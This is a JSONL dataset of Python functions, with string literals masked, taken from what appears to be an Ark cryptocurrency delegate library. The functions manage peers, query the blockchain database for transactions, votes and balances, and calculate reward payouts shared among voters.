{"signature": "def add_peer(self, peer):", "body": "if type(peer) == list:<EOL><INDENT>for i in peer:<EOL><INDENT>check_url(i)<EOL><DEDENT>self.PEERS.extend(peer)<EOL><DEDENT>elif type(peer) == str:<EOL><INDENT>check_url(peer)<EOL>self.PEERS.append(peer)<EOL><DEDENT>", "docstring": "Add a peer or multiple peers to the PEERS variable, takes a single string or a list.\n\n:param peer(list or string)", "id": "f7948:c0:m1"}
{"signature": "def remove_peer(self, peer):", "body": "if type(peer) == list:<EOL><INDENT>for x in peer:<EOL><INDENT>check_url(x)<EOL>for i in self.PEERS:<EOL><INDENT>if x in i:<EOL><INDENT>self.PEERS.remove(i)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif type(peer) == str:<EOL><INDENT>check_url(peer)<EOL>for i in self.PEERS:<EOL><INDENT>if peer == i:<EOL><INDENT>self.PEERS.remove(i)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "remove one or multiple peers from PEERS variable\n\n:param peer(list or string):", "id": "f7948:c0:m2"}
{"signature": "def clear_peers(self):", "body": "self.PEERS = []<EOL>", "docstring": "remove all PEERS from the PEERS variable", "id": "f7948:c0:m3"}
{"signature": "def status(self):", "body": "peer = random.choice(self.PEERS)<EOL>formatted_peer = '<STR_LIT>'.format(peer)<EOL>peerdata = requests.get(url=formatted_peer + '<STR_LIT>').json()['<STR_LIT>']<EOL>peers_status = {}<EOL>networkheight = max([x['<STR_LIT>'] for x in peerdata])<EOL>for i in peerdata:<EOL><INDENT>if '<STR_LIT>'.format(i['<STR_LIT>']) in self.PEERS:<EOL><INDENT>peers_status.update({i['<STR_LIT>']: {<EOL>'<STR_LIT>': i['<STR_LIT>'],<EOL>'<STR_LIT:status>': i['<STR_LIT:status>'],<EOL>'<STR_LIT:version>': i['<STR_LIT:version>'],<EOL>'<STR_LIT>': i['<STR_LIT>'],<EOL>}})<EOL><DEDENT><DEDENT>return {<EOL>'<STR_LIT>': networkheight,<EOL>'<STR_LIT>': peers_status<EOL>}<EOL>", "docstring": "check the status of the network and the peers\n\n:return: network_height, peer_status", "id": "f7948:c0:m4"}
{"signature": "def broadcast_tx(self, address, amount, secret, secondsecret=None, vendorfield='<STR_LIT>'):", "body": "peer = random.choice(self.PEERS)<EOL>park = Park(<EOL>peer,<EOL><NUM_LIT>,<EOL>constants.ARK_NETHASH,<EOL>'<STR_LIT>'<EOL>)<EOL>return park.transactions().create(address, str(amount), vendorfield, secret, secondsecret)<EOL>", "docstring": "broadcasts a transaction to the peerslist using ark-js library", "id": "f7948:c0:m5"}
{"signature": "def set_connection(host=None, database=None, user=None, password=None):", "body": "c.CONNECTION['<STR_LIT>'] = host<EOL>c.CONNECTION['<STR_LIT>'] = database<EOL>c.CONNECTION['<STR_LIT>'] = user<EOL>c.CONNECTION['<STR_LIT>'] = password<EOL>", "docstring": "Set connection parameters. Call set_connection with no arguments to clear.", "id": "f7950:m0"}
{"signature": "def set_delegate(address=None, pubkey=None, secret=None):", "body": "c.DELEGATE['<STR_LIT>'] = address<EOL>c.DELEGATE['<STR_LIT>'] = pubkey<EOL>c.DELEGATE['<STR_LIT>'] = secret<EOL>", "docstring": "Set delegate parameters. Call set_delegate with no arguments to clear.", "id": "f7950:m1"}
{"signature": "def get_transactionlist(delegate_pubkey):", "body": "res = DbCursor().execute_and_fetchall(\"\"\"<STR_LIT>\"\"\".format(delegate_pubkey))<EOL>Transaction = namedtuple(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>named_transactions = []<EOL>for i in res:<EOL><INDENT>tx_id = Transaction(<EOL>id=i[<NUM_LIT:0>],<EOL>amount=i[<NUM_LIT:1>],<EOL>timestamp=i[<NUM_LIT:2>],<EOL>recipientId=i[<NUM_LIT:3>],<EOL>senderId=i[<NUM_LIT:4>],<EOL>rawasset=i[<NUM_LIT:5>],<EOL>type=i[<NUM_LIT:6>],<EOL>fee=i[<NUM_LIT:7>],<EOL>)<EOL>named_transactions.append(tx_id)<EOL><DEDENT>return named_transactions<EOL>", "docstring": "returns a list of named tuples of all transactions relevant to a specific delegates voters.\n    Flow: finds all voters and unvoters, SELECTs all transactions of those voters, names all transactions according to\n    the scheme: 'transaction', 'id amount timestamp recipientId senderId rawasset type fee blockId", "id": "f7950:m4"}
{"signature": "def get_events(delegate_pubkey):", "body": "res = DbCursor().execute_and_fetchall(\"\"\"<STR_LIT>\"\"\".format(delegate_pubkey))<EOL>Event = namedtuple(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>named_events = []<EOL>for i in res:<EOL><INDENT>tx_id = Event(<EOL>id=i[<NUM_LIT:0>],<EOL>amount=i[<NUM_LIT:1>],<EOL>fee=i[<NUM_LIT:2>],<EOL>timestamp=i[<NUM_LIT:3>],<EOL>recipientId=i[<NUM_LIT:4>],<EOL>senderId=i[<NUM_LIT:5>],<EOL>type=i[<NUM_LIT:6>],<EOL>raw=i[<NUM_LIT:7>]<EOL>)<EOL>named_events.append(tx_id)<EOL><DEDENT>return named_events<EOL>", "docstring": "returns a list of named tuples of all transactions relevant to a specific delegates voters.\n    Flow: finds all voters and unvoters, SELECTs all transactions of those voters, names all transactions according to\n    the scheme: 'transaction', 'id amount timestamp recipientId senderId rawasset type fee blockId", "id": "f7950:m5"}
{"signature": "@staticmethod<EOL><INDENT>def payout(address):<DEDENT>", "body": "qry = DbCursor().execute_and_fetchall(\"\"\"<STR_LIT>\"\"\".format(address))<EOL>Transaction = namedtuple(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>named_transactions = []<EOL>for i in qry:<EOL><INDENT>tx_id = Transaction(<EOL>id=i[<NUM_LIT:0>],<EOL>amount=i[<NUM_LIT:1>],<EOL>timestamp=i[<NUM_LIT:2>],<EOL>recipientId=i[<NUM_LIT:3>],<EOL>senderId=i[<NUM_LIT:4>],<EOL>rawasset=i[<NUM_LIT:5>],<EOL>type=i[<NUM_LIT:6>],<EOL>fee=i[<NUM_LIT:7>],<EOL>)<EOL>named_transactions.append(tx_id)<EOL><DEDENT>return named_transactions<EOL>", "docstring": "returns all received transactions between the address and registered delegate accounts\n        ORDER by timestamp ASC.", "id": "f7950:c10:m0"}
{"signature": "@staticmethod<EOL><INDENT>def transactions(address):<DEDENT>", "body": "qry = DbCursor().execute_and_fetchall(\"\"\"<STR_LIT>\"\"\".format(address))<EOL>Transaction = namedtuple(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>named_transactions = []<EOL>for i in qry:<EOL><INDENT>tx_id = Transaction(<EOL>id=i[<NUM_LIT:0>],<EOL>amount=i[<NUM_LIT:1>],<EOL>timestamp=i[<NUM_LIT:2>],<EOL>recipientId=i[<NUM_LIT:3>],<EOL>senderId=i[<NUM_LIT:4>],<EOL>rawasset=i[<NUM_LIT:5>],<EOL>type=i[<NUM_LIT:6>],<EOL>fee=i[<NUM_LIT:7>],<EOL>)<EOL>named_transactions.append(tx_id)<EOL><DEDENT>return named_transactions<EOL>", "docstring": "Returns a list of named tuples of all transactions for an address.\n        Scheme:\n        'transaction',\n            'id amount timestamp recipientId senderId rawasset type fee", "id": "f7950:c10:m1"}
{"signature": "@staticmethod<EOL><INDENT>def votes(address):<DEDENT>", "body": "qry = DbCursor().execute_and_fetchall(\"\"\"<STR_LIT>\"\"\".format(address))<EOL>Vote = namedtuple(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>res = []<EOL>for i in qry:<EOL><INDENT>if i[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT:+>':<EOL><INDENT>direction = True<EOL><DEDENT>elif i[<NUM_LIT:0>][<NUM_LIT:0>] == '<STR_LIT:->':<EOL><INDENT>direction = False<EOL><DEDENT>else:<EOL><INDENT>logger.fatal('<STR_LIT>'.format(i))<EOL>raise ParseError('<STR_LIT>'.format(i))<EOL><DEDENT>vote = Vote(<EOL>direction=direction,<EOL>delegate=i[<NUM_LIT:0>][<NUM_LIT:1>:],<EOL>timestamp=i[<NUM_LIT:1>],<EOL>)<EOL>res.append(vote)<EOL><DEDENT>return res<EOL>", "docstring": "Returns a list of namedtuples all votes made by an address, {(+/-)pubkeydelegate:timestamp}, timestamp DESC", "id": "f7950:c10:m2"}
{"signature": "@staticmethod<EOL><INDENT>def balance(address):<DEDENT>", "body": "txhistory = Address.transactions(address)<EOL>balance = <NUM_LIT:0><EOL>for i in txhistory:<EOL><INDENT>if i.recipientId == address:<EOL><INDENT>balance += i.amount<EOL><DEDENT>if i.senderId == address:<EOL><INDENT>balance -= (i.amount + i.fee)<EOL><DEDENT><DEDENT>delegates = Delegate.delegates()<EOL>for i in delegates:<EOL><INDENT>if address == i.address:<EOL><INDENT>forged_blocks = Delegate.blocks(i.pubkey)<EOL>for block in forged_blocks:<EOL><INDENT>balance += (block.reward + block.totalFee)<EOL><DEDENT><DEDENT><DEDENT>if balance < <NUM_LIT:0>:<EOL><INDENT>height = Node.height()<EOL>logger.fatal('<STR_LIT>'.format(address, height))<EOL>raise NegativeBalanceError('<STR_LIT>'.format(address, height))<EOL><DEDENT>return balance<EOL>", "docstring": "Takes a single address and returns the current balance.", "id": "f7950:c10:m3"}
{"signature": "@staticmethod<EOL><INDENT>def balance_over_time(address):<DEDENT>", "body": "forged_blocks = None<EOL>txhistory = Address.transactions(address)<EOL>delegates = Delegate.delegates()<EOL>for i in delegates:<EOL><INDENT>if address == i.address:<EOL><INDENT>forged_blocks = Delegate.blocks(i.pubkey)<EOL><DEDENT><DEDENT>balance_over_time = []<EOL>balance = <NUM_LIT:0><EOL>block = <NUM_LIT:0><EOL>Balance = namedtuple(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>for tx in txhistory:<EOL><INDENT>if forged_blocks:<EOL><INDENT>while forged_blocks[block].timestamp <= tx.timestamp:<EOL><INDENT>balance += (forged_blocks[block].reward + forged_blocks[block].totalFee)<EOL>balance_over_time.append(Balance(timestamp=forged_blocks[block].timestamp, amount=balance))<EOL>block += <NUM_LIT:1><EOL><DEDENT><DEDENT>if tx.senderId == address:<EOL><INDENT>balance -= (tx.amount + tx.fee)<EOL>res = Balance(timestamp=tx.timestamp, amount=balance)<EOL>balance_over_time.append(res)<EOL><DEDENT>if tx.recipientId == address:<EOL><INDENT>balance += tx.amount<EOL>res = Balance(timestamp=tx.timestamp, amount=balance)<EOL>balance_over_time.append(res)<EOL><DEDENT><DEDENT>if forged_blocks and block <= len(forged_blocks) - <NUM_LIT:1>:<EOL><INDENT>if forged_blocks[block].timestamp > txhistory[-<NUM_LIT:1>].timestamp:<EOL><INDENT>for i in forged_blocks[block:]:<EOL><INDENT>balance += (i.reward + i.totalFee)<EOL>res = Balance(timestamp=i.timestamp, amount=balance)<EOL>balance_over_time.append(res)<EOL><DEDENT><DEDENT><DEDENT>return balance_over_time<EOL>", "docstring": "returns a list of named tuples,  x.timestamp, x.amount including block rewards", "id": "f7950:c10:m4"}
{"signature": "@staticmethod<EOL><INDENT>def delegates():<DEDENT>", "body": "qry = DbCursor().execute_and_fetchall(\"\"\"<STR_LIT>\"\"\")<EOL>Delegate = namedtuple(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>res = []<EOL>for i in qry:<EOL><INDENT>registration = Delegate(<EOL>username=i[<NUM_LIT:0>],<EOL>pubkey=binascii.hexlify(i[<NUM_LIT:4>]).decode(\"<STR_LIT:utf-8>\"),<EOL>timestamp=i[<NUM_LIT:2>],<EOL>address=i[<NUM_LIT:3>],<EOL>transactionId=i[<NUM_LIT:1>]<EOL>)<EOL>res.append(registration)<EOL><DEDENT>return res<EOL>", "docstring": "returns a list of named tuples of all delegates.\n        {username: {'pubkey':pubkey, 'timestamp':timestamp, 'address':address}}", "id": "f7950:c11:m0"}
{"signature": "@staticmethod<EOL><INDENT>def lastpayout(delegate_address, blacklist=None):<DEDENT>", "body": "if blacklist and len(blacklist) > <NUM_LIT:1>:<EOL><INDENT>command_blacklist = '<STR_LIT>' + str(tuple(blacklist))<EOL><DEDENT>elif blacklist and len(blacklist) == <NUM_LIT:1>:<EOL><INDENT>command_blacklist = '<STR_LIT>' + \"<STR_LIT:'>\" + blacklist[<NUM_LIT:0>] + \"<STR_LIT:'>\"<EOL><DEDENT>else:<EOL><INDENT>command_blacklist = \"<STR_LIT>\"<EOL><DEDENT>qry = DbCursor().execute_and_fetchall(\"\"\"<STR_LIT>\"\"\".format(delegate_address, command_blacklist))<EOL>result = []<EOL>Payout = namedtuple(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>for i in qry:<EOL><INDENT>payout = Payout(<EOL>address=i[<NUM_LIT:0>],<EOL>id=i[<NUM_LIT:1>],<EOL>timestamp=i[<NUM_LIT:2>]<EOL>)<EOL>result.append(payout)<EOL><DEDENT>return result<EOL>", "docstring": "Assumes that all send transactions from a delegate are payouts.\nUse blacklist to remove rewardwallet and other transactions if the\naddress is not a voter. blacklist can contain both addresses and transactionIds", "id": "f7950:c11:m1"}
{"signature": "@staticmethod<EOL><INDENT>def votes(delegate_pubkey):<DEDENT>", "body": "qry = DbCursor().execute_and_fetchall(\"\"\"<STR_LIT>\"\"\".format(delegate_pubkey))<EOL>Voter = namedtuple(<EOL>'<STR_LIT>',<EOL>'<STR_LIT>')<EOL>voters = []<EOL>for i in qry:<EOL><INDENT>voter = Voter(<EOL>address=i[<NUM_LIT:0>],<EOL>timestamp=i[<NUM_LIT:1>]<EOL>)<EOL>voters.append(voter)<EOL><DEDENT>return voters<EOL>", "docstring": "returns every address that has voted for a delegate.\n        Current voters can be obtained using voters. ORDER BY timestamp ASC", "id": "f7950:c11:m2"}
{"signature": "@staticmethod<EOL><INDENT>def blocks(delegate_pubkey=None, max_timestamp=None):<DEDENT>", "body": "if not delegate_pubkey:<EOL><INDENT>delegate_pubkey = c.DELEGATE['<STR_LIT>']<EOL><DEDENT>if max_timestamp:<EOL><INDENT>max_timestamp_sql = \"\"\"<STR_LIT>\"\"\".format(max_timestamp)<EOL><DEDENT>else:<EOL><INDENT>max_timestamp_sql = '<STR_LIT>'<EOL><DEDENT>qry = DbCursor().execute_and_fetchall(\"\"\"<STR_LIT>\"\"\".format(<EOL>max_timestamp_sql,<EOL>delegate_pubkey))<EOL>Block = namedtuple('<STR_LIT>',<EOL>'<STR_LIT>')<EOL>block_list = []<EOL>for block in qry:<EOL><INDENT>block_value = Block(timestamp=block[<NUM_LIT:0>],<EOL>height=block[<NUM_LIT:1>],<EOL>id=block[<NUM_LIT:2>],<EOL>totalFee=block[<NUM_LIT:3>],<EOL>reward=block[<NUM_LIT:4>])<EOL>block_list.append(block_value)<EOL><DEDENT>return block_list<EOL>", "docstring": "returns a list of named tuples of all blocks forged by a delegate.\n        if delegate_pubkey is not specified, set_delegate needs to be called in advance.\n        max_timestamp can be configured to retrieve blocks up to a certain timestamp.", "id": "f7950:c11:m5"}
{"signature": "@staticmethod<EOL><INDENT>def share(passphrase=None, last_payout=None, start_block=<NUM_LIT:0>, del_pubkey=None, del_address=None):<DEDENT>", "body": "logger.info('<STR_LIT>'.format(c.DELEGATE, c.CALCULATION_SETTINGS))<EOL>delegate_pubkey = c.DELEGATE['<STR_LIT>']<EOL>delegate_address = c.DELEGATE['<STR_LIT>']<EOL>if del_pubkey and del_address:<EOL><INDENT>delegate_address = del_address<EOL>delegate_pubkey = del_pubkey<EOL><DEDENT>logger.info('<STR_LIT>'.format(delegate_address, delegate_pubkey))<EOL>max_timestamp = Node.max_timestamp()<EOL>logger.info('<STR_LIT>'.format(max_timestamp))<EOL>transactions = get_transactionlist(<EOL>delegate_pubkey=delegate_pubkey<EOL>)<EOL>votes = Delegate.votes(delegate_pubkey)<EOL>voter_dict = {}<EOL>for voter in votes:<EOL><INDENT>voter_dict.update({voter.address: {<EOL>'<STR_LIT>': <NUM_LIT:0.0>,<EOL>'<STR_LIT:status>': False,<EOL>'<STR_LIT>': voter.timestamp,<EOL>'<STR_LIT>': <NUM_LIT:0.0>,<EOL>'<STR_LIT>': voter.timestamp,<EOL>'<STR_LIT>': []}<EOL>})<EOL><DEDENT>delegates = Delegate.delegates()<EOL>for i in delegates:<EOL><INDENT>if i.address in voter_dict:<EOL><INDENT>logger.info('<STR_LIT>'.format(i.username, i.address, i.pubkey))<EOL>try:<EOL><INDENT>blocks_by_voter = Delegate.blocks(i.pubkey)<EOL>voter_dict[i.address]['<STR_LIT>'].extend(Delegate.blocks(i.pubkey))<EOL>logger.info('<STR_LIT>'.format(i.username, len(blocks_by_voter)))<EOL><DEDENT>except Exception:<EOL><INDENT>logger.info('<STR_LIT>'.format(i))<EOL>pass<EOL><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>for i in c.CALCULATION_SETTINGS['<STR_LIT>']:<EOL><INDENT>voter_dict.pop(i)<EOL>logger.debug('<STR_LIT>'.format(i))<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>if not last_payout:<EOL><INDENT>last_payout = Delegate.lastpayout(delegate_address)<EOL>for payout in last_payout:<EOL><INDENT>try:<EOL><INDENT>voter_dict[payout.address]['<STR_LIT>'] = payout.timestamp<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>elif type(last_payout) is int:<EOL><INDENT>for address in voter_dict:<EOL><INDENT>if address['<STR_LIT>'] < last_payout:<EOL><INDENT>address['<STR_LIT>'] = last_payout<EOL><DEDENT><DEDENT><DEDENT>elif type(last_payout) is dict:<EOL><INDENT>for payout in last_payout:<EOL><INDENT>try:<EOL><INDENT>voter_dict[payout.address]['<STR_LIT>'] = payout.timestamp<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>logger.fatal('<STR_LIT>'.format(type(last_payout)))<EOL>raise InputError('<STR_LIT>'.format(type(last_payout)))<EOL><DEDENT>blocks = Delegate.blocks(max_timestamp=max_timestamp,<EOL>delegate_pubkey=delegate_pubkey)<EOL>block_nr = start_block<EOL>chunk_dict = {}<EOL>reuse = False<EOL>try:<EOL><INDENT>for tx in transactions:<EOL><INDENT>while tx.timestamp > blocks[block_nr].timestamp:<EOL><INDENT>if reuse:<EOL><INDENT>block_nr += <NUM_LIT:1><EOL>for x in chunk_dict:<EOL><INDENT>voter_dict[x]['<STR_LIT>'] += chunk_dict[x]<EOL><DEDENT>continue<EOL><DEDENT>block_nr += <NUM_LIT:1><EOL>poolbalance = <NUM_LIT:0><EOL>chunk_dict = {}<EOL>for i in voter_dict:<EOL><INDENT>balance = voter_dict[i]['<STR_LIT>']<EOL>try:<EOL><INDENT>if voter_dict[i]['<STR_LIT>'] > c.CALCULATION_SETTINGS['<STR_LIT>']:<EOL><INDENT>balance = c.CALCULATION_SETTINGS['<STR_LIT>']<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if balance > c.CALCULATION_SETTINGS['<STR_LIT>'][i]['<STR_LIT>']:<EOL><INDENT>balance = c.CALCULATION_SETTINGS['<STR_LIT>'][i]['<STR_LIT>']<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>for x in voter_dict[i]['<STR_LIT>']:<EOL><INDENT>if x.timestamp < blocks[block_nr].timestamp:<EOL><INDENT>voter_dict[i]['<STR_LIT>'] += (x.reward + x.totalFee)<EOL>voter_dict[i]['<STR_LIT>'].remove(x)<EOL><DEDENT><DEDENT>balance = voter_dict[i]['<STR_LIT>']<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>if voter_dict[i]['<STR_LIT:status>']:<EOL><INDENT>if not voter_dict[i]['<STR_LIT>'] < -<NUM_LIT:20> * c.ARK:<EOL><INDENT>poolbalance += balance<EOL><DEDENT>else:<EOL><INDENT>logger.fatal('<STR_LIT>'.format(i))<EOL>raise NegativeBalanceError('<STR_LIT>'.format(i))<EOL><DEDENT><DEDENT><DEDENT>for i in voter_dict:<EOL><INDENT>balance = voter_dict[i]['<STR_LIT>']<EOL>if voter_dict[i]['<STR_LIT>'] > c.CALCULATION_SETTINGS['<STR_LIT>']:<EOL><INDENT>balance = c.CALCULATION_SETTINGS['<STR_LIT>']<EOL><DEDENT>try:<EOL><INDENT>if balance > c.CALCULATION_SETTINGS['<STR_LIT>'][i]['<STR_LIT>']:<EOL><INDENT>balance = c.CALCULATION_SETTINGS['<STR_LIT>'][i]['<STR_LIT>']<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>if voter_dict[i]['<STR_LIT:status>'] and voter_dict[i]['<STR_LIT>'] < blocks[block_nr].timestamp:<EOL><INDENT>if c.CALCULATION_SETTINGS['<STR_LIT>']:<EOL><INDENT>share = (balance/poolbalance) * (blocks[block_nr].reward +<EOL>blocks[block_nr].totalFee)<EOL><DEDENT>else:<EOL><INDENT>share = (balance/poolbalance) * blocks[block_nr].reward<EOL><DEDENT>voter_dict[i]['<STR_LIT>'] += share<EOL>chunk_dict.update({i: share})<EOL><DEDENT><DEDENT>reuse = True<EOL><DEDENT>minvote = '<STR_LIT>'.format(delegate_pubkey)<EOL>plusvote = '<STR_LIT>'.format(delegate_pubkey)<EOL>reuse = False<EOL>if tx.recipientId in voter_dict:<EOL><INDENT>voter_dict[tx.recipientId]['<STR_LIT>'] += tx.amount<EOL><DEDENT>if tx.senderId in voter_dict:<EOL><INDENT>voter_dict[tx.senderId]['<STR_LIT>'] -= (tx.amount + tx.fee)<EOL><DEDENT>if tx.senderId in voter_dict and tx.type == <NUM_LIT:3> and plusvote in tx.rawasset:<EOL><INDENT>voter_dict[tx.senderId]['<STR_LIT:status>'] = True<EOL><DEDENT>if tx.senderId in voter_dict and tx.type == <NUM_LIT:3> and minvote in tx.rawasset:<EOL><INDENT>voter_dict[tx.senderId]['<STR_LIT:status>'] = False<EOL><DEDENT><DEDENT>remaining_blocks = len(blocks) - block_nr - <NUM_LIT:1><EOL>for i in range(remaining_blocks):<EOL><INDENT>for x in chunk_dict:<EOL><INDENT>voter_dict[x]['<STR_LIT>'] += chunk_dict[x]<EOL><DEDENT><DEDENT><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT>for i in voter_dict:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(i,<EOL>voter_dict[i]['<STR_LIT>'],<EOL>voter_dict[i]['<STR_LIT:status>'],<EOL>voter_dict[i]['<STR_LIT>'],<EOL>voter_dict[i]['<STR_LIT>']))<EOL><DEDENT>return voter_dict, max_timestamp<EOL>", "docstring": "Calculate the true blockweight payout share for a given delegate,\n        assuming no exceptions were made for a voter. last_payout is a map of addresses and timestamps:\n        {address: timestamp}. If no argument are given, it will start the calculation at the first forged block\n        by the delegate, generate a last_payout from transaction history, and use the set_delegate info.\n\n        If a passphrase is provided, it is only used to generate the adddress and keys, no transactions are sent.\n        (Still not recommended unless you know what you are doing, version control could store your passphrase for example;\n        very risky)", "id": "f7950:c11:m6"}
{"signature": "@staticmethod<EOL><INDENT>def dep_trueshare(start_block=<NUM_LIT:0>, del_pubkey=None, del_address=None, blacklist=None, share_fees=False, max_weight=float('<STR_LIT>'), raiseError=True):<DEDENT>", "body": "delegate_pubkey = c.DELEGATE['<STR_LIT>']<EOL>delegate_address = c.DELEGATE['<STR_LIT>']<EOL>if del_pubkey and del_address:<EOL><INDENT>delegate_address = del_address<EOL>delegate_pubkey = del_pubkey<EOL><DEDENT>max_timestamp = Node.max_timestamp()<EOL>transactions = get_transactionlist(<EOL>delegate_pubkey=delegate_pubkey<EOL>)<EOL>votes = Delegate.votes(delegate_pubkey)<EOL>voter_dict = {}<EOL>for voter in votes:<EOL><INDENT>voter_dict.update({voter.address: {<EOL>'<STR_LIT>': <NUM_LIT:0.0>,<EOL>'<STR_LIT:status>': False,<EOL>'<STR_LIT>': voter.timestamp,<EOL>'<STR_LIT>': <NUM_LIT:0.0>,<EOL>'<STR_LIT>': voter.timestamp,<EOL>'<STR_LIT>': []}<EOL>})<EOL><DEDENT>try:<EOL><INDENT>for i in blacklist:<EOL><INDENT>voter_dict.pop(i)<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>delegates = Delegate.delegates()<EOL>for i in delegates:<EOL><INDENT>if i.address in voter_dict:<EOL><INDENT>try:<EOL><INDENT>blocks_by_voter = Delegate.blocks(i.pubkey)<EOL>voter_dict[i.address]['<STR_LIT>'].extend(Delegate.blocks(i.pubkey))<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>last_payout = Delegate.lastpayout(delegate_address)<EOL>for payout in last_payout:<EOL><INDENT>try:<EOL><INDENT>voter_dict[payout.address]['<STR_LIT>'] = payout.timestamp<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>blocks = Delegate.blocks(delegate_pubkey)<EOL>block_nr = start_block<EOL>chunk_dict = {}<EOL>reuse = False<EOL>try:<EOL><INDENT>for tx in transactions:<EOL><INDENT>while tx.timestamp > blocks[block_nr].timestamp:<EOL><INDENT>if reuse:<EOL><INDENT>block_nr += <NUM_LIT:1><EOL>for x in chunk_dict:<EOL><INDENT>voter_dict[x]['<STR_LIT>'] += chunk_dict[x]<EOL><DEDENT>continue<EOL><DEDENT>block_nr += <NUM_LIT:1><EOL>poolbalance = <NUM_LIT:0><EOL>chunk_dict = {}<EOL>for i in voter_dict:<EOL><INDENT>balance = voter_dict[i]['<STR_LIT>']<EOL>if balance > max_weight:<EOL><INDENT>balance = max_weight<EOL><DEDENT>try:<EOL><INDENT>for x in voter_dict[i]['<STR_LIT>']:<EOL><INDENT>if x.timestamp < blocks[block_nr].timestamp:<EOL><INDENT>voter_dict[i]['<STR_LIT>'] += (x.reward + x.totalFee)<EOL>voter_dict[i]['<STR_LIT>'].remove(x)<EOL><DEDENT><DEDENT>balance = voter_dict[i]['<STR_LIT>']<EOL><DEDENT>except Exception:<EOL><INDENT>pass<EOL><DEDENT>if voter_dict[i]['<STR_LIT:status>']:<EOL><INDENT>if not voter_dict[i]['<STR_LIT>'] < -<NUM_LIT:20> * c.ARK:<EOL><INDENT>poolbalance += balance<EOL><DEDENT>else:<EOL><INDENT>if raiseError:<EOL><INDENT>raise NegativeBalanceError('<STR_LIT>'.format(i))<EOL><DEDENT>pass<EOL><DEDENT><DEDENT><DEDENT>for i in voter_dict:<EOL><INDENT>balance = voter_dict[i]['<STR_LIT>']<EOL>if voter_dict[i]['<STR_LIT:status>'] and voter_dict[i]['<STR_LIT>'] < blocks[block_nr].timestamp:<EOL><INDENT>if share_fees:<EOL><INDENT>share = (balance / poolbalance) * (blocks[block_nr].reward +<EOL>blocks[block_nr].totalFee)<EOL><DEDENT>else:<EOL><INDENT>share = (balance / poolbalance) * blocks[block_nr].reward<EOL><DEDENT>voter_dict[i]['<STR_LIT>'] += share<EOL>chunk_dict.update({i: share})<EOL><DEDENT><DEDENT>reuse = True<EOL><DEDENT>minvote = '<STR_LIT>'.format(delegate_pubkey)<EOL>plusvote = '<STR_LIT>'.format(delegate_pubkey)<EOL>reuse = False<EOL>if tx.recipientId in voter_dict:<EOL><INDENT>voter_dict[tx.recipientId]['<STR_LIT>'] += tx.amount<EOL><DEDENT>if tx.senderId in voter_dict:<EOL><INDENT>voter_dict[tx.senderId]['<STR_LIT>'] -= (tx.amount + tx.fee)<EOL><DEDENT>if tx.senderId in voter_dict and tx.type == <NUM_LIT:3> and plusvote in tx.rawasset:<EOL><INDENT>voter_dict[tx.senderId]['<STR_LIT:status>'] = True<EOL><DEDENT>if tx.senderId in voter_dict and tx.type == <NUM_LIT:3> and minvote in tx.rawasset:<EOL><INDENT>voter_dict[tx.senderId]['<STR_LIT:status>'] = False<EOL><DEDENT><DEDENT>remaining_blocks = len(blocks) - block_nr - <NUM_LIT:1><EOL>for i in range(remaining_blocks):<EOL><INDENT>for x in chunk_dict:<EOL><INDENT>voter_dict[x]['<STR_LIT>'] += chunk_dict[x]<EOL><DEDENT><DEDENT><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT>for i in voter_dict:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(<EOL>i,<EOL>voter_dict[i]['<STR_LIT>'],<EOL>voter_dict[i]['<STR_LIT:status>'],<EOL>voter_dict[i]['<STR_LIT>'],<EOL>voter_dict[i]['<STR_LIT>']))<EOL><DEDENT>return voter_dict, max_timestamp<EOL>", "docstring": "Legacy TBW script (still pretty performant, but has some quirky behavior when forging delegates are amongst\nyour voters)\n\n:param int start_block: block from which we start adding to the share (we calculate balances from block 0 anyways)\n:param str del_pubkey: delegate public key as is presented in the ark wallet\n:param str del_address: delegate address\n:param list blacklist: blacklist for addresses to be removed BEFORE calculation. Their share is removed from the pool balance\n:param bool share_fees: if tx fees should be shared as well.\n:param float max_weight: max_balance of a voter", "id": "f7950:c11:m7"}
